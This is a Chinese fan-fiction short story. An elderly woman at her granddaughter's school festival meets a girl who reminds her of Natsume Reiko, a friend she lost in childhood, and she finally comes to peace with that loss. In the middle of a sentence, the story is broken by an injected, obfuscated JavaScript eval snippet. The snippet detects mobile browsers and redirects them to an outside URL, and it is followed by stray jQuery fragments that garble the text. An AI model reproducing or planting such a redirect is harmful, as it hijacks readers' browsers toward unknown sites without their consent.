秋阳斜斜地穿过树枝叶，在石板路上投下晃动的光斑。风确实凉了一些，一缕缕地食物的香气，从远处社团摊位的油炸气味里挣脱出来，钻进鼻尖。
守永苍子站在帝光校园里，慢慢停下脚，她用手杖尖端那只磨损的橡胶垫，稳稳抵住一块微微翘起的石板，缓了口气。
她自幼体弱、先天底子差，很难想象能活到这把年纪。
没一会儿，她就听见身后传来轻快的脚步声，紧接着，胳膊被一股蛮横的力道热情的挽住。
那力道带着点不容分说的亲昵，把她从片刻的失神里拉回来。
"奶奶，这边这边！"
泽村遥的声音贴着耳朵响起，真像一只刚学会扑腾的小鸟。
苍子侧过头，看见孙女脑后晃动的马尾辫，发梢扫过校服领子，充满生命力。
遥扶助她的胳膊，掌心干燥而温暖，透过薄薄的针织开衫，一直暖到苍子有些老弱僵硬的关节。
这孩子，总是这样，苍子想。
她的孙女，泽村遥。少女眉眼明媚，眼底的开心，雀跃的笑意藏都藏不住，蹦蹦跳跳地陪着她缓步前行。
那是苍子年少时从未拥有过的模样，热烈、坦荡、不怯生、不孤单，敢于主动奔赴温暖。
苍子看着孙女鲜活的侧脸，心底掠过一抹怅然。
她这一生，大半生都在与孤独为伴。
年少体弱、辗转转学，家中为调养她的身体，想了很多办法，甚至一度举家从外地转学搬至乡下小镇，因为那里环境安静、空气温润利于休养。
后来因为一场无果的约定，郁结思念加剧损耗本来就孱弱的身体，全家又匆匆从那里离开。
年岁渐长，生活归于安稳平淡，儿女成家立业，唯独她守着老旧的宅院，安安静静度日。
遥总说奶奶太过孤单，一有空就黏着她，软磨硬泡地撒娇，这次更是缠了她好几日，非要带她来学校的学园祭看看热闹。
“那边，看到没？是我们社团的展台！”遥踮起脚，手指向人群缝隙里的一角。“对了奶奶，我带你去见理穗！”
理穗。这个名字遥之前已经念叨了很多次了。
在遥嘴里，藤原理穗是个近乎完美的存在，温柔、细心、画画很好、字也很漂亮。
苍子听着，笑了笑，她想起自己年少时，是绝无可能这样毫不掩饰地夸赞一个人的。
那时的她，连抬头直视别人的眼睛都要鼓足勇气。
"奶奶，学园祭超好玩的！有好多小吃，还有社团表演，你肯定不会觉得无聊。"泽村遥仰着小脸，语气愈发骄傲。
苍子闻言，微微弯起眼眸，温和颔首。
她们走近了。
树荫下，那个叫藤原理穗的女孩正背对着她们，低头和同伴一起捞金鱼。
苍子的脚步，就那么定住了。
呼吸停滞了一瞬，那曾经郁结于心的遗憾缠绕了半生又似乎缓缓的蔓延上来。
握着手杖的手指，无意识地蜷紧，指节抵着光滑的碳素管，传来清晰的触感。
她看着那个背影，看着那微微侧头的弧度，看着那垂下的眼睫在脸颊投下的淡淡阴影……
太像了。
不只是五官的相似，还有那种矛盾的，疏离又温柔的气质。
那种安静的、仿佛与周遭喧闹隔着一层透明薄膜的孤独感，那种即便身处人群中也能一眼就认出来的气质。
“奶奶？”遥察觉到她的异样，摇了摇她的胳膊。
苍子久久没有回应。
直到她看着那个女孩转过身，迎上她们的目光。
一张干净的脸，熟悉的面孔，像是随时准备对人温和地笑。
不见旧人归，但见故人影，似是久违重逢时。
刹那间，四方谷森林里潮湿的苔藓气味，蝉鸣的噪响，还有树荫下斑驳的光影，一股脑地涌上来，撞在她的胸腔上。
“她叫什么？”苍子的声音有些沙哑，她自己都听出来了。
“藤原理穗呀！”遥笑起来，她看见理穗，大声喊着和她打招呼说，“理穗，这是我奶奶！奶奶，这就是我跟你说的最好的朋友，理穗！”
理穗微微欠身，声音轻柔：“奶奶您好，常听遥说起您。”
苍子看着理穗向自己鞠躬时，额前滑落的一缕刘海。她几乎要伸出手，替她撩到耳后。这个动作，她在梦里做过多少次？
“理穗啊……”她低声重复，像在细细品味，却不自觉的显露出易碎、落寞的神情。“很高兴认识你。”
“是啊，藤原理穗，奶奶。”遥浑然不觉，依旧笑得灿烂，手臂更紧地挽住苍子，也挽住理穗，“我们俩是最好的朋友。对吧，理穗？”
理穗轻轻点头，眼底漾开笑意，那笑意真实地映在苍子的眼睛里。
她看着理穗和遥站在一起，遥的热情像夏日的阳光，理穗的温和像林间的溪水，交融得自然而然。
苍子记忆的闸门被撬开一道缝，往事无声地倾泻。
那年夏天，她也遇见过这样一个女孩。在四方谷那片很少有人涉足的树林里。
她记得自己年少时候总是咳嗽，体质弱，不敢主动融入班级，习惯独自躲进森林逃避人群，也喜欢一个人在林子看书。
但她实在太孤单了。
心底最深的地方，日复一日都在重复同一个期盼，我想要一个朋友，想要一个并肩相伴的真心挚友。
就是在那片安静的森林里，她遇见了夏目玲子。那个传说中很凶的怪人。
初见时的玲子，性情冷淡，说话干脆利落，带着生人勿近的疏离，她冷冷告诫她森林危险，让她速速离开。
可苍子偏偏在那片清冷里，看见了和自己一模一样的孤独。
她想和玲子成为朋友，苍子第一次纯粹热烈的想要认识一个人。尽管那时候还不知道她的名字。
后来，她听人说起林子中的怪人，她并不在乎。
她不怕玲子的冷淡，也不觉得她是旁人传闻里的可怖。
哪怕所有人都说她是怪人，我一点都不怕，我只想陪着她，也希望她可以一直陪着我，我们会是最好的朋友。
她开始每天去林子间，一次次主动靠近。
她捡到玲子掉落的校徽，满心欢喜地寻回森林等候，她用和自己名字“苍”同色系的蓝色糖果当筹码，藏着自己细腻浪漫的小心思，鼓起勇气定下扔石子比赛的赌注，只为问出她的名字。
我好想知道她的名字。
我想和她做可以互相呼唤名字的好朋友。
只要知道名字，我们就不是陌生人了。
为靠近玲子，她练了很久扔石子，指尖被磨得发红，有时还会划破皮。
但她不想输，为了一个名正言顺的靠近的机会。
后来轮到玲子投掷，她刻意偏开力道，石子远远落在草丛里。她故意输了比赛，苍子不敢置信。
夏目玲子。
她叫夏目玲子。
多好听的名字，如玉铃般的少女。
那四个字，她当时在心里默念了无数遍，像是得到了世界上最珍贵的宝物。
那一刻的欢喜，是苍子年少岁月里最盛大、最滚烫的光亮。
“快回家，马上要下大雨，别淋到。”她被玲子催促着匆忙跑下山。
下山的时候她以为自己终于拥有了独一无二的挚友，以为往后的盛夏、往后的岁岁年年
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17757147|203684||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，都有人相伴同行。连她奔跑的脚步都显得格外轻盈与欢畅。
可命运偏偏弄人。
那场一场突如其来的暴雨，把一切都冲散了。
暴雨倾盆，苍子回家路上淋透全身，本就体弱的她发起高烧，卧床不起，整整数日无法出门，只能昏沉沉地躺在昏沉的病榻上。
心底满是焦灼与期盼地一遍遍默念着约定，一遍遍期盼着雨停，期盼着早日奔赴林间，和玲子相见。
再等等，等我病好，我一定准时赴约。
可等她退烧痊愈，不顾一切奔向四方谷森林时，熟悉的树荫下，早已空无一人。
风依旧温柔，树依旧繁茂，可那个叫玲子的少女，再也没有出现过。
风声簌簌，无人回应，只剩满心的落空与自我否定。
是我不好，我迟到了。
她一定是讨厌我了，所以再也不来了。
明明好不容易才知道彼此的名字，明明好不容易才拥有了朋友。
这份无解的遗憾，像一根细密的刺，扎根在心底数十年。
无人知晓她的焦灼等候，无人知晓玲子的落寞离场，无人知晓两个孤独少女，曾在同一片森林里，双向奔赴，又双向错过。
往后余生，她再也没有遇见那样纯粹的相遇，再也没有拼尽全力想要留住的羁绊，年少的心动与期许，永远停在了那个落雨的夏天。
很多年后，苍子偶尔会想，如果那天没下雨，如果她跑得快一点，如果她没有生病……但这些如果都无法避免已经失去的遗憾，最终也只能变成了心口一道疤。
“奶奶，您怎么好像要哭了？”遥不解的看着苍子，伸手用指腹轻轻蹭过苍子眼角的皱纹。
苍子回过神，才发现眼眶有些湿润，“刚才风有点大呢。”
然后趁着理穗和遥交谈的空隙，用袖口迅速按了按眼角。
苍子缓缓收回纷乱的思绪，视线重新落回眼前的两个少女身上。
她们并肩而立，站在温暖的阳光下，身后的影子紧紧相依，她看着理穗耐心倾听遥的碎碎念念，看着遥自然地接过理穗递来的水，温柔回应所有的热情，一举一动皆是无需言说的默契与羁绊，苍子的心一点点沉静下来，变得柔软。
她曾经以为，那场错过的约定，是她人生永远无法弥补的缺口。
她将守着那份遗憾，度过余下的一生。
可现在，她看着遥和理穗，看着她们之间那种毫不费力的亲密，看着理穗眼中全然的信赖和遥脸上肆意的笑容……
她忽然释然了。
她错过了玲子，没能成为她的挚友。
命运的齿轮，或许并未在某个雨天卡死。
它只是转了一个很长的圈，绕过了半个世纪的风雨，用另一种方式，把那份未能送达的温柔，还给了她。
风吹过，苍子深深吸了一口气，清冽舒爽，一直钻到肺腑深处。
她伸出手，轻轻拍了拍遥的手背，又看向理穗，露出一个真正的、舒展的笑容。
“真好啊。”她低声说，不知是对谁说，又或许，是对那个遥远的、森林里的少女说的。
玲子，你看。
我们没有能一起去看的花，她们以后可以一起去看。我们没有能一起走过的岁岁年年，她们正在走。
那些被大雨淋湿的约定，终究，没有被辜负。
年少时她也有过无数的藏在心底、无人倾听的悄悄话，那些纯粹又热烈的期许似乎又涌上心头。
如果当年那场雨没有来，她们会不会……能一起去……
苍子垂眸轻笑，带着几分自我调侃,“我也已经是个欧巴酱了呀，一点小事，就勾出了全部陈年旧事。”